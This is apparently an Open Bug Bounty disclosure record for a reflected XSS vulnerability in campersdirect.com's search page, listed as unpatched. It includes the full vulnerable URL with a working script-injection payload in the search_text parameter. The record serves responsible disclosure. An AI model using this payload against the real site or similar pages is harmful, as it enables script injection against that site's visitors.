Lucene search

K
openbugbountyIwoodythecowboyOBB:278545
HistoryAug 12, 2017 - 8:52 p.m.

campersdirect.com XSS vulnerability

2017-08-1220:52:00
iwoodythecowboy
www.openbugbounty.org
6
Vulnerable URL:
http://www.campersdirect.com/rvone/search.php?search_text=%22%3E%3C/title%3E%27%3E;%3C/script%3E%3Csvg/onload=alert(/OPENBUGBOUNTY/)%3E&page;=28
Details:
Description Value
Patched: No
Latest check for patch: 10.11.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 11006187
VIP website status: No
Check campersdirect.com SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 12 August, 2017 20:52 GMT
Generic security notifications sent to website owner 12 August, 2017 20:54 GMT
Notification sent to subscribers (without technical details) 12 August, 2017 22:17 GMT
Vulnerability details disclosed by researcher 10 November, 2017 21:39 GMT